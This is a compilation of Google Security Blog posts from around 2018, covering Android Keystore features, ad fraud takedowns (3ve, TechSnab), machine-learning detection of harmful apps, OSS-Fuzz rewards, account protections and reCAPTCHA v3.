Cent? 50 Cent buys 200 tickets to Ja Rule concert to keep seats empty in ongoing feud | CBS news Other stories of interest I still miss my headphone jack, and I want it back | Fast Company AWS has released some free training | AWS Regular Exercise May Keep Your Body 30 Years ‘Younger’ | NY Times The Next Data Mine Is Your Bedroom | The Atlantic The Wartime Spies Who Used Knitting as an Espionage Tool | Atlas Obscura       

Posted by Brian Claire Young and Shawn Willden, Android Security; and Frank Salim, Google Pay[Cross-posted from the Android Developers Blog] New Android Pie Keystore FeaturesThe Android Keystore provides application developers with a set of cryptographic tools that are designed to secure their users' data. Keystore moves the cryptographic primitives available in software libraries out of the Android OS and into secure hardware. Keys are protected and used only within the secure hardware to protect application secrets from various forms of attacks. Keystore gives applications the ability to specify restrictions on how and when the keys can be used. Android Pie introduces new capabilities to Keystore. We will be discussing two of these new capabilities in this post. The first enables restrictions on key use so as to protect sensitive information. The second facilitates secure key use while protecting key material from the application or operating system. Keyguard-bound keysThere are times when a mobile application receives data but doesn't need to immediately access it if the user is not currently using the device. Sensitive information sent to an application while the device screen is locked must remain secure until the user wants access to it. Android Pie addresses this by introducing keyguard-bound cryptographic keys. When the screen is locked, these keys can be used in encryption or verification operations, but are unavailable for decryption or signing. If the device is currently locked with a PIN, pattern, or password, any attempt to use these keys will result in an invalid operation. Keyguard-bound keys protect the user's data while the device is locked, and only available when the user needs it. Keyguard binding and authentication binding both function in similar ways, except with one important difference. Keyguard binding ties the availability of keys directly to the screen lock state while authentication binding uses a constant timeout. With keyguard binding, the keys become unavailable as soon as the device is locked and are only made available again when the user unlocks the device. It is worth noting that keyguard binding is enforced by the operating system, not the secure hardware. This is because the secure hardware has no way to know when the screen is locked. Hardware-enforced Android Keystore protection features like authentication binding, can be combined with keyguard binding for a higher level of security. Furthermore, since keyguard binding is an operating system feature, it's available to any device running Android Pie. Keys for any algorithm supported by the device can be keyguard-bound. To generate or import a key as keyguard-bound, call setUnlockedDeviceRequired(true) on the KeyGenParameterSpec or KeyProtection builder object at key generation or import. Secure Key ImportSecure Key Import is a new feature in Android Pie that allows applications to provision existing keys into Keystore in a more secure manner. The origin of the key, a remote server that could be sitting in an on-premise data center or in the cloud, encrypts the secure key using a public wrapping key from the user's device. The encrypted key in the SecureKeyWrapper format, which also contains a description of the ways the imported key is allowed to be used, can only be decrypted in the Keystore hardware belonging to the specific device that generated the wrapping key. Keys are encrypted in transit and remain opaque to the application and operating system, meaning they're only available inside the secure hardware into which they are imported. Secure Key Import is useful in scenarios where an application intends to share a secret key with an Android device, but wants to prevent the key from being intercepted or from leaving the device. Google Pay uses Secure Key Import to provision some keys on Pixel 3 phones, to prevent the keys from being intercepted or extracted from memory. There are also a variety of enterprise use cases such as S/MIME encryption keys being recovered from a Certificate Authorities escrow so that the same key can be used to decrypt emails on multiple devices. To take advantage of this feature, please review this training article. Please note that Secure Key Import is a secure hardware feature, and is therefore only available on select Android Pie devices. To find out if the device supports it, applications can generate a KeyPair with PURPOSE_WRAP_KEY.

Posted by Dave Kleidermacher, VP, Head of Security & Privacy - Android & PlayProviding users with safe and secure experiences, while helping developers build and grow quality app businesses, is our top priority at Google Play. And we’re constantly working to improve our protections.Google Play has been working to minimize app install attribution fraud for several years. In 2017 Google Play made available the Google Play Install Referrer API, which allows ad attribution providers, publishers and advertisers to determine which referrer was responsible for sending the user to Google Play for a given app install. This API was specifically designed to be resistant to install attribution fraud and we strongly encourage attribution providers, advertisers and publishers to insist on this standard of proof when measuring app install ads. Users, developers, advertisers and ad networks all benefit from a transparent, fair system.We also take reports of questionable activity very seriously. If an app violates our Google Play Developer policies, we take action. That’s why we began our own independent investigation after we received reports of apps on Google Play accused of conducting app install attribution abuse by falsely claiming credit for newly installed apps to collect the download bounty from that app’s developer.We now have an update regarding our ongoing investigation:On Monday, we removed two apps from the Play Store because our investigation discovered evidence of app install attribution abuse.We also discovered evidence of app install attribution abuse in 3 ad network SDKs. We have asked the impacted developers to remove those SDKs from their apps. Because we believe most of these developers were not aware of the behavior from these third-party SDKs, we have given them a short grace period to take action.Google Ads SDKs were not utilized for any of the abusive behaviors mentioned above.Our investigation is ongoing and additional reviews of other apps and third party SDKs are still underway. If we find evidence of additional policy violations, we will take action.We will continue to investigate and improve our capabilities to better detect and protect against abusive behavior and the malicious actors behind them.

Posted by Billy Lau and René Mayrhofer, Android Security & Privacy TeamCustomization is one of Android's greatest strengths. Android's open source nature has enabled thousands of device types that cover a variety of use cases. In addition to adding features to the Android Open Source Project, researchers, developers, service providers, and device and chipset manufacturers can make updates to improve Android security. Investing and engaging in academic research advances the state-of-the-art security techniques, contributes to science, and delivers cutting edge security and privacy features into the hands of end users. To foster more cooperative applied research between the Android Security and Privacy team and the wider academic and industrial community, we're launching ASPIRE (Android Security and PrIvacy REsearch).ASPIRE's goal is encouraging the development of new security and privacy technology that impacts the Android ecosystem in the next 2 to 5 years, but isn't planned for mainline Android development. This timeframe extends beyond the next annual Android release to allow adequate time to analyze, develop, and stabilize research into features before including in the platform. To collaborate with security researchers, we're hosting events and creating more channels to contribute research.On October 25th 2018, we invited top security and privacy researchers from around the world to present at Android Security Local Research Day (ASLR-D). At this event, external researchers and Android Security and Privacy team members discussed current issues and strategies that impact the future direction of security research—for Android and the entire industry.We can't always get everyone in the same room and good ideas come from everywhere. So we're inviting all academic researchers to help us protect billions of users. Research collaborations with Android should be as straightforward as collaborating with the research lab next door. To get involved you can:Submit an Android security / privacy research idea or proposal to the Google Faculty Research Awards (FRA) program.Apply for a research internship as a student pursuing an advanced degree.Apply to become a Visiting Researcher at Google.If you have any security or privacy questions that may help with your research, reach out to us.Co-author publications with Android team members, outside the terms of FRA.Collaborate with Android team members to make changes to the Android Open Source Project.Let’s work together to make Android the most secure platform—now and in the future.

Posted by Elie Bursztein and Oxana Comanescu, Google Security and Privacy GroupWe believe that cutting-edge research plays a key role in advancing the security and privacy of users across the Internet. While we do significant in-house research and engineering to protect users’ data, we maintain strong ties with academic institutions worldwide. We provide seed funding through faculty research grants, cloud credits to unlock new experiments, and foster active collaborations, including working with visiting scholars and research interns.To accelerate the next generation of security and privacy breakthroughs, we recently created the Google Security and Privacy Research Awards program. These awards, selected via internal Google nominations and voting, recognize academic researchers who have made recent, significant contributions to the field.We’ve been developing this program for several years. It began as a pilot when we awarded researchers for their work in 2016, and we expanded it more broadly for work from 2017. So far, we awarded $1 million dollars to 12 scholars. We are preparing the shortlist for 2018 nominees and will announce the winners next year. In the meantime, we wanted to highlight the previous award winners and the influence they’ve had on the field.2017 AwardeesLujo Bauer, Carnegie Mellon UniversityResearch area: Password security and attacks against facial recognitionDan Boneh, Stanford UniversityResearch area: Enclave security and post-quantum cryptographyAleksandra Korolova, University of Southern CaliforniaResearch area: Differential privacyDaniela Oliveira, University of FloridaResearch area: Social engineering and phishingFranziska Roesner, University of WashingtonResearch area: Usable security for augmented reality and at-risk populationsMatthew Smith, Universität BonnResearch area: Usable security for developers2016 AwardeesMichael Bailey, University of Illinois at Urbana-ChampaignResearch area: Cloud and network securityNicolas Christin, Carnegie Mellon UniversityResearch area: Authentication and cybercrimeDamon McCoy, New York UniversityResearch area: DDoS services and cybercrimeStefan Savage, University of California San DiegoResearch area: Network security and cybercrimeMarc Stevens, Centrum Wiskunde & InformaticaResearch area: Cryptanalysis and lattice cryptographyGiovanni Vigna, University of California Santa BarbaraResearch area: Malware detection and cybercrimeCongratulations to all of our award winners.

Posted by Per Bjorke, Product Manager, Ad Traffic QualityFor years, Google has been waging a comprehensive, global fight against invalid traffic through a combination of technology, policy, and operations teams to protect advertisers and publishers and increase transparency throughout the advertising industry.Last year, we identified one of the most complex and sophisticated ad fraud operations we have seen to date, working with cyber security firm White Ops, and referred the case to law enforcement. Today, the U.S. Attorney’s Office for the Eastern District of New York announced criminal charges associated with this fraud operation. This takedown marks a major milestone in the industry’s fight against ad fraud, and we’re proud to have been a key contributor.In partnership with White Ops, we have published a white paper about how we identified this ad fraud operation, the steps we took to protect our clients from being impacted, and the technical work we did to detect patterns across systems in the industry. Below are some of the highlights from the white paper, which you can download here.All about 3ve: A creative and sophisticated threatReferred to as 3ve (pronounced “Eve”), this ad fraud operation evolved over the course of 2017 from a modest, low-level botnet into a large and sophisticated operation that used a broad set of tactics to commit ad fraud. 3ve operated on a significant scale: At its peak, it controlled over 1 million IPs from both residential malware infections and corporate IP spaces primarily in North America and Europe.Through our investigation, we discovered that 3ve was comprised of three unique sub-operations that evolved rapidly, using sophisticated tactics aimed at exploiting data centers, computers infected with malware, spoofed fraudulent domains, and fake websites. Through its varied and complex machinery, 3ve generated billions of fraudulent ad bid requests (i.e., ad spaces on web pages that advertisers can bid to purchase in an automated way), and it also created thousands of spoofed fraudulent domains. It should be noted that our analysis of ad bid requests indicated growth in activity, but not necessarily growth in transactions that would result in charges to advertisers. It’s also worth noting that 3+ billion daily ad bid requests made 3ve an extremely large ad fraud operation, but its bid request volume was only a small percentage of overall bid request volume across the industry.Our objectiveTrust and integrity are critical to the digital advertising ecosystem. Investments in our ad traffic quality systems made it possible for us to tackle this ad fraud operation and to limit the impact it had on our clients as quickly as possible, including crediting advertisers.3ve’s focus, like many ad fraud schemes, was not a single player or system, but rather the whole advertising ecosystem. As we worked to protect our ad systems against traffic from this threat, we identified that others also had observed this traffic, and we partnered with them to help remove the threat from the ecosystem. The working group, which included nearly 20 partners, was a key component that shaped our broader investigation into 3ve, enabling us to engage directly with each other and to work towards a mutually beneficial outcome.Industry collaboration helps bring 3ve downWhile ad fraud traditionally has been seen as a faceless crime in which bad actors don’t face much risk of being identified or consequences for their actions, 3ve’s takedown demonstrates that there are risks and consequences to committing ad fraud. We’re confident that our collective efforts are building momentum and moving us closer to finding a resolution to this challenge.For example, industry initiatives such as the Interactive Advertising Bureau (IAB) Tech Lab’s ads.txt standard, which has experienced and continues to see very rapid adoption (over 620,000 domains have an ads.txt), as well as the increasing number of buy-side platforms and exchanges offering refunds for invalid traffic, are valuable steps towards cutting off the money flow to fraudsters. As we announced last year, we’ve made, and will continue to make investments in our automated refunds for invalid traffic, including our work with supply partners to provide advertisers with refunds for invalid traffic detected up to 30 days after monthly billing.Industry bodies such as the IAB, Trustworthy Accountability Group (TAG), Media Rating Council, and the Joint Industry Committee for Web Standards, who are serving as agents of change and collaboration across our industry, are instrumental in the fight against ad fraud. We have a long history of working with these bodies, including ongoing participation in TAG and IAB leadership and working groups, as well as our inclusion in the TAG Certified Against Fraud program. That program’s value was reinforced with the IAB’s requirement that all members need to be TAG certified by the middle of this year.Successful disruptionA coordinated takedown of infrastructure related to 3ve’s operations occurred recently. The takedown involved disrupting as much of the related infrastructure as possible to make it hard to rebuild any of 3ve’s operations. As the graph below demonstrates, declining volumes in invalid traffic indicate that the disruption thus far has been successful, bringing the bid request traffic close to zero within 18 hours of starting the coordinated takedown.Looking aheadWe’ll continue to be vigilant, working to protect marketers, publishers, and users, while continuing to collaborate with the broader industry to safeguard the integrity of the digital advertising ecosystem that powers the open web. Our work to take down 3ve is another example of our collaboration with the broader ecosystem to improve trust in digital advertising. We are committed to helping to create a better digital advertising ecosystem — one that is more valuable, transparent, and trusted for everyone.

Posted by Mo Yu, Damien Octeau, and Chuangang Ren, Android Security & Privacy Team[Cross-posted from the Android Developers Blog]In a previous blog post, we talked about using machine learning to combat Potentially Harmful Applications (PHAs). This blog post covers how Google uses machine learning techniques to detect and classify PHAs. We'll discuss the challenges in the PHA detection space, including the scale of data, the correct identification of PHA behaviors, and the evolution of PHA families. Next, we will introduce two of the datasets that make the training and implementation of machine learning models possible, such as app analysis data and Google Play data. Finally, we will present some of the approaches we use, including logistic regression and deep neural networks.Using Machine Learning to ScaleDetecting PHAs is challenging and requires a lot of resources. Our security experts need to understand how apps interact with the system and the user, analyze complex signals to find PHA behavior, and evolve their tactics to stay ahead of PHA authors. Every day, Google Play Protect (GPP) analyzes over half a million apps, which makes a lot of new data for our security experts to process.Leveraging machine learning helps us detect PHAs faster and at a larger scale. We can detect more PHAs just by adding additional computing resources. In many cases, machine learning can find PHA signals in the training data without human intervention. Sometimes, those signals are different than signals found by security experts. Machine learning can take better advantage of this data, and discover hidden relationships between signals more effectively.There are two major parts of Google Play Protect's machine learning protections: the data and the machine learning models.Data SourcesThe quality and quantity of the data used to create a model are crucial to the success of the system. For the purpose of PHA detection and classification, our system mainly uses two anonymous data sources: data from analyzing apps and data from how users experience apps.App DataGoogle Play Protect analyzes every app that it can find on the internet. We created a dataset by decomposing each app's APK and extracting PHA signals with deep analysis. We execute various processes on each app to find particular features and behaviors that are relevant to the PHA categories in scope (for example, SMS fraud, phishing, privilege escalation). Static analysis examines the different resources inside an APK file while dynamic analysis checks the behavior of the app when it's actually running. These two approaches complement each other. For example, dynamic analysis requires the execution of the app regardless of how obfuscated its code is (obfuscation hinders static analysis), and static analysis can help detect cloaking attempts in the code that may in practice bypass dynamic analysis-based detection. In the end, this analysis produces information about the app's characteristics, which serve as a fundamental data source for machine learning algorithms.Google Play DataIn addition to analyzing each app, we also try to understand how users perceive that app. User feedback (such as the number of installs, uninstalls, user ratings, and comments) collected from Google Play can help us identify problematic apps. Similarly, information about the developer (such as the certificates they use and their history of published apps) contribute valuable knowledge that can be used to identify PHAs. All these metrics are generated when developers submit a new app (or new version of an app) and by millions of Google Play users every day. This information helps us to understand the quality, behavior, and purpose of an app so that we can identify new PHA behaviors or identify similar apps.In general, our data sources yield raw signals, which then need to be transformed into machine learning features for use by our algorithms. Some signals, such as the permissions that an app requests, have a clear semantic meaning and can be directly used. In other cases, we need to engineer our data to make new, more powerful features. For example, we can aggregate the ratings of all apps that a particular developer owns, so we can calculate a rating per developer and use it to validate future apps. We also employ several techniques to focus in on interesting data.To create compact representations for sparse data, we use embedding. To help streamline the data to make it more useful to models, we use feature selection. Depending on the target, feature selection helps us keep the most relevant signals and remove irrelevant ones.By combining our different datasets and investing in feature engineering and feature selection, we improve the quality of the data that can be fed to various types of machine learning models.ModelsBuilding a good machine learning model is like building a skyscraper: quality materials are important, but a great design is also essential. Like the materials in a skyscraper, good datasets and features are important to machine learning, but a great algorithm is essential to identify PHA behaviors effectively and efficiently.We train models to identify PHAs that belong to a specific category, such as SMS-fraud or phishing. Such categories are quite broad and contain a large number of samples given the number of PHA families that fit the definition. Alternatively, we also have models focusing on a much smaller scale, such as a family, which is composed of a group of apps that are part of the same PHA campaign and that share similar source code and behaviors. On the one hand, having a single model to tackle an entire PHA category may be attractive in terms of simplicity but precision may be an issue as the model will have to generalize the behaviors of a large number of PHAs believed to have something in common. On the other hand, developing multiple PHA models may require additional engineering efforts, but may result in better precision at the cost of reduced scope.We use a variety of modeling techniques to modify our machine learning approach, including supervised and unsupervised ones.One supervised technique we use is logistic regression, which has been widely adopted in the industry. These models have a simple structure and can be trained quickly. Logistic regression models can be analyzed to understand the importance of the different PHA and app features they are built with, allowing us to improve our feature engineering process. After a few cycles of training, evaluation, and improvement, we can launch the best models in production and monitor their performance.For more complex cases, we employ deep learning. Compared to logistic regression, deep learning is good at capturing complicated interactions between different features and extracting hidden patterns. The millions of apps in Google Play provide a rich dataset, which is advantageous to deep learning.In addition to our targeted feature engineering efforts, we experiment with many aspects of deep neural networks. For example, a deep neural network can have multiple layers and each layer has several neurons to process signals. We can experiment with the number of layers and neurons per layer to change model behaviors.We also adopt unsupervised machine learning methods. Many PHAs use similar abuse techniques and tricks, so they look almost identical to each other. An unsupervised approach helps define clusters of apps that look or behave similarly, which allows us to mitigate and identify PHAs more effectively. We can automate the process of categorizing that type of app if we are confident in the model or can request help from a human expert to validate what the model found.PHAs are constantly evolving, so our models need constant updating and monitoring. In production, models are fed with data from recent apps, which help them stay relevant. However, new abuse techniques and behaviors need to be continuously detected and fed into our machine learning models to be able to catch new PHAs and stay on top of recent trends. This is a continuous cycle of model creation and updating that also requires tuning to ensure that the precision and coverage of the system as a whole matches our detection goals.Looking forwardAs part of Google's AI-first strategy, our work leverages many machine learning resources across the company, such as tools and infrastructures developed by Google Brain and Google Research. In 2017, our machine learning models successfully detected 60.3% of PHAs identified by Google Play Protect, covering over 2 billion Android devices. We continue to research and invest in machine learning to scale and simplify the detection of PHAs in the Android ecosystem.AcknowledgementsThis work was developed in joint collaboration with Google Play Protect, Safe Browsing and Play Abuse teams with contributions from Andrew Ahn, Hrishikesh Aradhye, Daniel Bali, Hongji Bao, Yajie Hu, Arthur Kaiser, Elena Kovakina, Salvador Mandujano, Melinda Miller, Rahul Mishra, Sebastian Porst, Monirul Sharif, Sri Somanchi, Sai Deep Tetali, and Zhikun Wang.

Posted by Jason Woloz and Eugene Liderman, Android Security & Privacy TeamUpdate: We identified a bug that affected how we calculated data from Q3 2018 in the Transparency Report. This bug created inconsistencies between the data in the report and this blog post. The data points in this blog post have been corrected.As shared during the What's new in Android security session at Google I/O 2018, transparency and openness are important parts of Android's ethos. We regularly blog about new features and enhancements and publish an annual Android Security Year in Review, which highlights Android ecosystem trends. To provide more frequent insights, we're introducing a quarterly Android Ecosystem Security Transparency Report. This report is the latest addition to our Transparency Report site, which began in 2010 to show how the policies and actions of governments and corporations affect privacy, security, and access to information online.This Android Ecosystem Security Transparency Report covers how often a routine, full-device scan by Google Play Protect detects a device with PHAs installed. Google Play Protect is built-in protection on Android devices that scans over 50 billion apps daily from inside and outside of Google Play. These scans look for evidence of Potentially Harmful Applications (PHAs). If the scans find a PHA, Google Play Protect warns the user and can disable or remove PHAs. In Android's first annual Android Security Year in Review from 2014, fewer than 1% of devices had PHAs installed. The percentage has declined steadily over time and this downward trend continues through 2018. The transparency report covers PHA rates in three areas: market segment (whether a PHA came from Google Play or outside of Google Play), Android version, and country.Devices with Potentially Harmful Applications installed by market segmentGoogle works hard to protect your Android device: no matter where your apps come from. Continuing the trend from previous years, Android devices that only download apps from Google Play are 9 times less likely to get a PHA than devices that download apps from other sources. Before applications become available in Google Play they undergo an application review to confirm they comply with Google Play policies. Google uses a risk scorer to analyze apps to detect potentially harmful behavior. When Google’s application risk analyzer discovers something suspicious, it flags the app and refers the PHA to a security analyst for manual review if needed. We also scan apps that users download to their device from outside of Google Play. If we find a suspicious app, we also protect users from that—even if it didn't come from Google Play.In the Android Ecosystem Security Transparency Report, the Devices with Potentially Harmful Applications installed by market segment chart shows the percentage of Android devices that have one or more PHAs installed over time. The chart has two lines: PHA rate for devices that exclusively install from Google Play and PHA rate for devices that also install from outside of Google Play. In 2017, on average 0.09% of devices that exclusively used Google Play had one or more PHAs installed. The first three quarters in 2018 averaged a lower PHA rate of 0.08%.The security of devices that installed apps from outside of Google Play also improved. In 2017, ~0.82% of devices that installed apps from outside of Google Play were affected by PHA; in the first three quarters of 2018, ~0.68% were affected. Since 2017, we've reduced this number by expanding the auto-disable feature which we covered on page 10 in the 2017 Year in Review. While malware rates fluctuate from quarter to quarter, our metrics continue to show a consistent downward trend over time. We'll share more details in our 2018 Android Security Year in Review in early 2019.Devices with Potentially Harmful Applications installed by Android versionNewer versions of Android are less affected by PHAs. We attribute this to many factors, such as continued platform and API hardening, ongoing security updates and app security and developer training to reduce apps' access to sensitive data. In particular, newer Android versions—such as Nougat, Oreo, and Pie—are more resilient to privilege escalation attacks that had previously allowed PHAs to gain persistence on devices and protect themselves against removal attempts. The Devices with Potentially Harmful Applications installed by Android version chart shows the percentage of devices with a PHA installed, sorted by the Android version that the device is running.Devices with Potentially Harmful Applications rate by top 10 countriesOverall, PHA rates in the ten largest Android markets have remained steady. While these numbers fluctuate on a quarterly basis due to the fluidity of the marketplace, we intend to provide more in depth coverage of what drove these changes in our annual Year in Review in Q1, 2019.The Devices with Potentially Harmful Applications rate by top 10 countries chart shows the percentage of devices with at least one PHA in the ten countries with the highest volume of Android devices. India saw the most significant decline in PHAs present on devices, with the average rate of infection dropping by 34 percent. Indonesia, Mexico, and Turkey also saw a decline in the likelihood of PHAs being present on devices in the region. South Korea saw the lowest number of devices containing PHA, with only 0.1%.Check out the reportOver time, we'll add more insights into the health of the ecosystem to the Android Ecosystem Security Transparency Report. If you have any questions about terminology or the products referred to in this report please review the FAQs section of the Transparency Report. In the meantime, check out our new blog post and video outlining Android’s performance in Gartner’s Mobile OSs and Device Security: A Comparison of Platforms report.

Posted by Matt Ruhstaller, TPM and Oliver Chang, Software Engineer, Google Security TeamOpen Source Software (OSS) is extremely important to Google, and we rely on OSS in a variety of customer-facing and internal projects. We also understand the difficulty and importance of securing the open source ecosystem, and are continuously looking for ways to simplify it.For the OSS community, we currently provide OSS-Fuzz, a free continuous fuzzing infrastructure hosted on the Google Cloud Platform. OSS-Fuzz uncovers security vulnerabilities and stability issues, and reports them directly to developers. Since launching in December 2016, OSS-Fuzz has reported over 9,000 bugs directly to open source developers.In addition to OSS-Fuzz, Google's security team maintains several internal tools for identifying bugs in both Google internal and Open Source code. Until recently, these issues were manually reported to various public bug trackers by our security team and then monitored until they were resolved. Unresolved bugs were eligible for the Patch Rewards Program. While this reporting process had some success, it was overly complex. Now, by unifying and automating our fuzzing tools, we have been able to consolidate our processes into a single workflow, based on OSS-Fuzz. Projects integrated with OSS-Fuzz will benefit from being reviewed by both our internal and external fuzzing tools, thereby increasing code coverage and discovering bugs faster.We are committed to helping open source projects benefit from integrating with our OSS-Fuzz fuzzing infrastructure. In the coming weeks, we will reach out via email to critical projects that we believe would be a good fit and support the community at large. Projects that integrate are eligible for rewards ranging from $1,000 (initial integration) up to $20,000 (ideal integration); more details are available here. These rewards are intended to help offset the cost and effort required to properly configure fuzzing for OSS projects. If you would like to integrate your project with OSS-Fuzz, please submit your project for review. Our goal is to admit as many OSS projects as possible and ensure that they are continuously fuzzed.Once contacted, we might provide a sample fuzz target to you for easy integration. Many of these fuzz targets are generated with new technology that understands how library APIs are used appropriately. Watch this space for more details on how Google plans to further automate fuzz target creation, so that even more open source projects can benefit from continuous fuzzing.Thank you for your continued contributions to the Open Source community. Let’s work together on a more secure and stable future for Open Source Software.

Posted by Jonathan Skelker, Product ManagerIt’s Halloween 🎃 and the last day of Cybersecurity Awareness Month 🔐, so we’re celebrating these occasions with security improvements across your account journey: before you sign in, as soon as you’ve entered your account, when you share information with other apps and sites, and the rare event in which your account is compromised.We’re constantly protecting your information from attackers’ tricks, and with these new protections and tools, we hope you can spend your Halloween worrying about zombies, witches, and your candy loot—not the security of your account.Protecting you before you even sign inEveryone does their best to keep their username and password safe, but sometimes bad actors may still get them through phishing or other tricks. Even when this happens, we will still protect you with safeguards that kick-in before you are signed into your account.When your username and password are entered on Google’s sign-in page, we’ll run a risk assessment and only allow the sign-in if nothing looks suspicious. We’re always working to improve this analysis, and we’ll now require that JavaScript is enabled on the Google sign-in page, without which we can’t run this assessment.Chances are, JavaScript is already enabled in your browser; it helps power lots of the websites people use everyday. But, because it may save bandwidth or help pages load more quickly, a tiny minority of our users (0.1%) choose to keep it off. This might make sense if you are reading static content, but we recommend that you keep Javascript on while signing into your Google Account so we can better protect you. You can read more about how to enable JavaScript here.Keeping your Google Account secure while you’re signed inLast year, we launched a major update to the Security Checkup that upgraded it from the same checklist for everyone, to a smarter tool that automatically provides personalized guidance for improving the security of your Google Account.We’re adding to this advice all the time. Most recently, we introduced better protection against harmful apps based on recommendations from Google Play Protect, as well as the ability to remove your account from any devices you no longer use.More notifications when you share your account data with apps and sitesIt’s really important that you understand the information that has been shared with apps or sites so that we can keep you safe. We already notify you when you’ve granted access to sensitive information — like Gmail data or your Google Contacts — to third-party sites or apps, and in the next few weeks, we’ll expand this to notify you whenever you share any data from your Google Account. You can always see which apps have access to your data in the Security Checkup.Helping you get back to the beginning if you run into troubleIn the rare event that your account is compromised, our priority is to help get you back to safety as quickly as possible. We’ve introduced a new, step-by-step process within your Google Account that we will automatically trigger if we detect potential unauthorized activity.We'll help you:Verify critical security settings to help ensure your account isn’t vulnerable to additional attacks and that someone can’t access it via other means, like a recovery phone number or email address.Secure your other accounts because your Google Account might be a gateway to accounts on other services and a hijacking can leave those vulnerable as well.Check financial activity to see if any payment methods connected to your account, like a credit card or Google Pay, were abused.Review content and files to see if any of your Gmail or Drive data was accessed or mis-used.Online security can sometimes feel like walking through a haunted house—scary, and you aren't quite sure what may pop up. We are constantly working to strengthen our automatic protections to stop attackers and keep you safe you from the many tricks you may encounter. During Cybersecurity Month, and beyond, we've got your back.

Posted by Wei Liu, Google Product Manager[Cross-posted from the Google Webmaster Central Blog]Today, we’re excited to introduce reCAPTCHA v3, our newest API that helps you detect abusive traffic on your website without user interaction. Instead of showing a CAPTCHA challenge, reCAPTCHA v3 returns a score so you can choose the most appropriate action for your website.A frictionless user experienceOver the last decade, reCAPTCHA has continuously evolved its technology. In reCAPTCHA v1, every user was asked to pass a challenge by reading distorted text and typing into a box. To improve both user experience and security, we introduced reCAPTCHA v2 and began to use many other signals to determine whether a request came from a human or bot. This enabled reCAPTCHA challenges to move from a dominant to a secondary role in detecting abuse, letting about half of users pass with a single click. Now with reCAPTCHA v3, we are fundamentally changing how sites can test for human vs. bot activities by returning a score to tell you how suspicious an interaction is and eliminating the need to interrupt users with challenges at all. reCAPTCHA v3 runs adaptive risk analysis in the background to alert you of suspicious traffic while letting your human users enjoy a frictionless experience on your site.More Accurate Bot Detection with "Actions"In reCAPTCHA v3, we are introducing a new concept called “Action”—a tag that you can use to define the key steps of your user journey and enable reCAPTCHA to run its risk analysis in context. Since reCAPTCHA v3 doesn't interrupt users, we recommend adding reCAPTCHA v3 to multiple pages. In this way, the reCAPTCHA adaptive risk analysis engine can identify the pattern of attackers more accurately by looking at the activities across different pages on your website. In the reCAPTCHA admin console, you can get a full overview of reCAPTCHA score distribution and a breakdown for the stats of the top 10 actions on your site, to help you identify which exact pages are being targeted by bots and how suspicious the traffic was on those pages.Fighting bots your wayAnother big benefit that you’ll get from reCAPTCHA v3 is the flexibility to prevent spam and abuse in the way that best fits your website. Previously, the reCAPTCHA system mostly decided when and what CAPTCHAs to serve to users, leaving you with limited influence over your website’s user experience. Now, reCAPTCHA v3 will provide you with a score that tells you how suspicious an interaction is. There are three potential ways you can use the score. First, you can set a threshold that determines when a user is let through or when further verification needs to be done, for example, using two-factor authentication and phone verification. Second, you can combine the score with your own signals that reCAPTCHA can’t access—such as user profiles or transaction histories. Third, you can use the reCAPTCHA score as one of the signals to train your machine learning model to fight abuse. By providing you with these new ways to customize the actions that occur for different types of traffic, this new version lets you protect your site against bots and improve your user experience based on your website’s specific needs.In short, reCAPTCHA v3 helps to protect your sites without user friction and gives you more power to decide what to do in risky situations. As always, we are working every day to stay ahead of attackers and keep the Internet easy and safe to use (except for bots).Ready to get started with reCAPTCHA v3? Visit our developer site for more details.

Posted by Per Bjorke, Product Manager, Ad Traffic QualityFighting invalid traffic is essential for the long-term sustainability of the digital advertising ecosystem. We have an extensive internal system to filter out invalid traffic – from simple filters to large-scale machine learning models – and we collaborate with advertisers, agencies, publishers, ad tech companies, research institutions, law enforcement and other third party organizations to identify potential threats. We take all reports of questionable activity seriously, and when we find invalid traffic, we act quickly to remove it from our systems.Last week, BuzzFeed News provided us with information that helped us identify new aspects of an ad fraud operation across apps and websites that were monetizing with numerous ad platforms, including Google. While our internal systems had previously caught and blocked violating websites from our ad network, in the past week we also removed apps involved in the ad fraud scheme so they can no longer monetize with Google. Further, we have blacklisted additional apps and websites that are outside of our ad network, to ensure that advertisers using Display & Video 360 (formerly known as DoubleClick Bid Manager) do not buy any of this traffic. We are continuing to monitor this operation and will continue to take action if we find any additional invalid traffic.While our analysis of the operation is ongoing, we estimate that the dollar value of impacted Google advertiser spend across the apps and websites involved in the operation is under $10 million. The majority of impacted advertiser spend was from invalid traffic on inventory from non-Google, third-party ad networks.A technical overview of the ad fraud operation is included below.Collaboration throughout our industry is critical in helping us to better detect, prevent, and disable these threats across the ecosystem. We want to thank BuzzFeed for sharing information that allowed us to take further action. This effort highlights the importance of collaborating with others to counter bad actors. Ad fraud is an industry-wide issue that no company can tackle alone. We remain committed to fighting invalid traffic and ad fraud threats such as this one, both to protect our advertisers, publishers, and users, as well as to protect the integrity of the broader digital advertising ecosystem.Technical DetailGoogle deploys comprehensive, state-of-the-art systems and procedures to combat ad fraud. We have made and continue to make considerable investments to protect our ad systems against invalid traffic.As detailed above, we’ve identified, analyzed and blocked invalid traffic associated with this operation, both by removing apps and blacklisting websites. Our engineering and operations teams, across various organizations, are also taking systemic action to disrupt this threat, including the takedown of command and control infrastructure that powers the associated botnet. In addition, we have shared relevant technical information with trusted partners across the ecosystem, so that they can also harden their defenses and minimize the impact of this threat throughout the industry.The BuzzFeed News report covers several fraud tactics (both web and mobile app) that are allegedly utilized by the same group. The web-based traffic is generated by a botnet that Google and others have been tracking, known as “TechSnab.” The TechSnab botnet is a small to medium-sized botnet that has existed for a few years. The number of active infections associated with TechSnab was reduced significantly after the Google Chrome Cleanup tool began prompting users to uninstall the malware.In similar fashion to other botnets, this operates by creating hidden browser windows that visit web pages to inflate ad revenue. The malware contains common IP based cloaking, data obfuscation, and anti-analysis defenses. This botnet drove traffic to a ring of websites created specifically for this operation, and monetized with Google and many third party ad exchanges. As mentioned above, we began taking action on these websites earlier this year.Based on analysis of historical ads.txt crawl data, inventory from these websites was widely available throughout the advertising ecosystem, and as many as 150 exchanges, supply-side platforms (SSPs) or networks may have sold this inventory. The botnet operators had hundreds of accounts across 88 different exchanges (based on accounts listed with “DIRECT” status in their ads.txt files).This fraud primarily impacted mobile apps. We investigated those apps that were monetizing via AdMob and removed those that were engaged in this behavior from our ad network. The traffic from these apps seems to be a blend of organic user traffic and artificially inflated ad traffic, including traffic based on hidden ads. Additionally, we found the presence of several ad networks, indicating that it's likely many were being used for monetization. We are actively tracking this operation, and continually updating and improving our enforcement tactics.

